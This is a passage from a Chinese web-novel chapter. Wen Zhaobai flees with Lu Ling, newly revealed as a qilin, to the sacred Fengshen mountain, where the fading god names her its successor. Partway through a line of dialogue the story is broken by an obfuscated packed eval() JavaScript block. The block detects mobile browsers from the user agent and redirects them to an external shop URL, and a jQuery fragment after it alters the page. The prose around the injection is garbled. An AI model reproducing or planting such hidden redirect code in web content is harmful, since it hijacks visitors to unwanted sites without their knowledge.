皇帝望着天际消失的流光，久久不语。


    平昭大长公主捂着胸口忽然低低笑了起来：“麒麟……原来奉神最后的底牌，是这个……”


    她转身，看向皇帝。


    皇帝沉默良久，他的声音恢复了平静：“未央逆党，尽数收押。潘太妃……押回禁院。今日之事，任何人不得外传。”


    “那晋国公和鹿……和那只麒麟？”身边亲卫低声问。


    皇帝望着南方天空，眼神莫测。


    “传令各州，”他慢慢说道，“晋国公温照白，勾结神明，弑母未遂，叛国出逃。凡有见者，立即上报。”他顿了顿，一字一句：“不许伤其性命。朕要……活的。”


    龙首原的大火，烧了整整一夜。


    ……


    玉色的麒麟在飞出天都城门后不久就力竭摔向地面，幸好鹿聆神智并未消失，掉落之际用一阵清风托住，这才免了摔出个好歹。


    城门外有一辆青蓬马车驶来又匆匆驶远。


    马车辘辘，车把式摘下斗笠回过头来，正是和风。


    “国公……公子，前面就是断崖了，我们还是往青关的方向去吗？”


    温照白在去龙首原之前就安排好了退路，遣散了府上所有人，只有和风与惊秋决意留下，还有金虎也死活不肯走，温照白便安排他们等在城门口，若能脱身便带鹿聆去往青关，那里有他留下的部署与人手。


    可如今，他看着已然化作人形却仍旧昏睡的鹿聆，却改了主意，


    他将鹿聆留给他的银铃从怀中拿出来：“小鹿说过，你是奉神的眼睛，那你应该看到了事态的发展，她如今的状态我实在不放心，还请，带我们回奉神山。”


    银铃在他的手中并没有异动，温照白并不着急，良久，银铃才发出一声清脆的轻响。温照白弯了弯唇角，将鹿聆往怀中更深地抱住，才将它递给和风：“按照银铃的指示走。”


    车马辘辘，银铃阵阵，去往神山。


    ……


    说是流亡，也不知奉神是如何指引的，一路上虽然车马劳顿，但是准确地避开了身后的追兵。


    至于各州府，温照白似乎早就料到了有这一天，完备的身份名帖同路引，打点好的关系，有两个州府甚至已经对他的身份生疑了，最终却不知为何放他们离去了。


    一切都很顺利。


    温照白始终记得鹿聆是从天地间吸取生机恢复神力的，因而即便是在逃亡的路上，也总会选择山川秀泽之处停留，以期鹿聆能够早一点醒过来。


    西都平原广阔，万里无云，日光毫无遮拦地泼洒下来。温照白抱着鹿聆掀开车窗，让她的脸微微朝向太阳。“小鹿，你感觉到了吗？这里的阳光，和天都城不一样。天都的阳光照在宫墙上，这里的阳光照在麦浪上，是生机的温度。”


    在金城丹霞，赤红的山岩如火焰。让人想起天都龙首原的那场大火，温照白声音很轻：“这里的颜色，像你焚铃那天的光，一样震撼人心。”


    逻些城雪山巍峨，云雾缭绕如仙境。温照白为鹿聆披上大氅，仔细掖好：“这里的山，像一道屏障，也像一道门。”他看着远方云雾中若隐若现的群山轮廓，那是银铃所指。


    离奉神山越近，生机就更为充沛。温照白能感觉到，怀中鹿聆的呼吸，似乎也渐渐与这片山川的脉搏同步。他看着远方云雾中若隐若现的群山轮廓形再低头看看仍旧昏迷的鹿聆，眉间满是担忧：“小鹿，你还不愿意醒来吗？”


    离奉神山越近，生机就更为充沛。


    奉神山应该是什么样子的？


    在温照白第一次见到鹿聆的时候就构想过了，能孕育出如鹿聆这样天真正直的司命，奉神山应该是神圣纯洁的，应该云雾缭绕或是神光普照……


    但是真正在前往奉神山的路上时，温照白将鹿聆往怀中抱紧，只记得奉神山是鹿聆的来处，能够让她醒来。


    银铃指示，奉神就在眼前了，他接过惊秋递来的水囊轻轻抵在鹿聆嘴边，鹿聆虽然没有清醒却还有意识，模模糊糊地喝了两口，拱了拱脑袋表示不要了，温照白看得好笑，用帕子温柔地给她擦擦嘴。


    金虎一脸担忧地守在一旁，温照白安抚地摸摸它的头，又将鹿聆身上的氅衣紧了紧，却听见她迷迷糊糊中喃喃：“小白……我们回家了吗？”


    鹿聆终于醒来，在重回奉神的这一刻。


    ……


    奉神山还是上次鹿聆回来时的样子，惊秋他们初见神山还有些惶恐，看着树林阴翳的高山心中踌躇，问刚刚恢复了精神还被温照白搀扶着的鹿聆：“鹿娘子，神山……我们能进吗？”


    倒是让鹿聆有些不解：“为什么不能进，奉神原本就是人间山脉，原本就是人人可来的啊。”


    和风摸摸头，和惊秋对视一眼还是有些不放心：“可这毕竟是神山……而且也从没听说有人来过啊……”


    鹿聆刚从昏迷中醒来，身体还没有恢复到十分，温照白的神色中不免有些担心，鹿聆对着温照白笑了笑让他放心，她抬头看着奉神山：“山中确实有隔离的屏障，那是为了防止有心之人觊觎奉神的生机，但若是心中并无恶意，奉神是不会发怒的。”


    惊秋他们才放下心来，两人时不时对奉神山中神奇美妙的景色发出惊呼，一边穿过层层树林，终于来到了奉神山腹地。


    鹿聆还是第一次带朋友回家做客，像白雀一样胆子大的动物直接好奇的迎了上来，白雀围着几人转了两圈落在了鹿聆的肩膀上。


    白雀落在她肩头，歪头打量她，声音清脆道：“阿聆，你身上……有很好闻的、太阳晒过森林的味道，和以前不一样了！”其他小动物也好奇地凑近，它们虽不明所以，却能本能地感受到鹿聆身上那股更古老、更令人安心的气息。


    白雀哦口吐人言将和风吓了一跳，鹿聆忍着笑将三人一猫一一介绍给他，白雀十分客气地和众人打招呼，却偷偷瞟一眼紧跟着鹿聆脚步的金虎。


    鹿聆既然已经回了奉神山，自然应该去见见奉神，她犹豫了一下看向温照白，温照白向她低下头来：“怎么了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052992|189858||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？”


    鹿聆握住他的手：“小白，你愿不愿意，与我一起，去见奉神？”


    温照白反手握紧她，冲她露出温柔的笑：“十分荣幸。”


    于是和风惊秋他们就留在了外面，鹿聆嘱咐白雀照顾他们，山林中的动物们还为他们带来了清甜的果实。


    他们两个惊奇不已，一个劲儿地感谢。


    白雀又瞄了一眼安然卧在一旁休息的金虎。


    ……


    奉神山壁前，鹿聆拉着温照白坐在了高处，她冲着光滑的山壁轻声说：“我带小白回来啦，他就是我喜欢的人。”温照白握紧了她的手，学着她打招呼：“久仰奉神大名，晚辈有幸前来拜见。”


    山壁光华流转，很久才有声音传来，奉神的声音仍旧是空灵的：“人类也敢踏足神明驻地吗？”还没等温照白剖白，鹿聆就皱眉反驳奉神：“又不是没有人来过，山脚的樵夫明明经常闯进屏障啊。”


    奉神似乎是没有料到鹿聆会拆自己的台，很是沉默了一会儿。


    还是温照白主动打破了僵局：“您一直知道小鹿是麒麟吗？她自己似乎都不太清楚。”


    这一点鹿聆也十分好奇。


    奉神的声音中有些无奈：“其实我们一直不愿意相信，但不得不承认，与其说神明高于人类，不如说神明源于人类。”


    “当年神明就没有能胜过嫄华胥，如今失去了世间人类的信奉，众神只能被迫陨落。我们曾以为自己高高在上，对人类不屑一顾，如今，我们已经为自己的傲慢付出了代价。”


    “好在还有你，鹿聆。”鹿聆眨眨眼，对于奉神接下来要说的话莫名有些紧张。温照白察觉了她的心绪，握紧了她的手。


    然而奉神话题一转：“鹿聆，你已经见过山中的缝隙了吧。”鹿聆不明所以地点点头，却听奉神继续说道，“依赖人类信仰而生的众神陨落，奉神山也不例外，没有了信仰之力，世间的生机不足以支撑我维持神山的力量，所以才有了那道裂缝，那我即将消散的象征。鹿聆，我的神力已经无法再维持这座深山了，我需要一个继承者。”


    “麒麟是上古神兽，是目前世间唯一不依赖人间信仰的神明，本就与天地同寿。”


    山壁光华流转，映照出无数朦胧的神影，又悄然淡去。“在意识到我们无法与人类为敌以后，众神就将残余的力量和所有的生机汇集于此，奉神山的存在，本就是为了唤醒你，这里是你的摇篮与殿堂。”


    鹿聆身上有五彩的神光映照在山壁上，奉神山腹地中的神庙遗迹和残留的阵法碎片在这一刻散发耀眼的光芒，倒伏的柱石重新矗立，碎裂的岩石飞速重建，一座圣洁恢弘的神庙就这样在他们面前出现，庙堂中，唯一供奉的，是一只神气的麒麟。与鹿聆在龙首原的化身一般无二。


    “世间唯一的麒麟，是仁慈与正义的代表。”


    “你不需要依赖人类的信仰，是如今我们能与新时代和解的唯一桥梁。”


    “鹿聆，神明与人类的未来……就都交给你了。”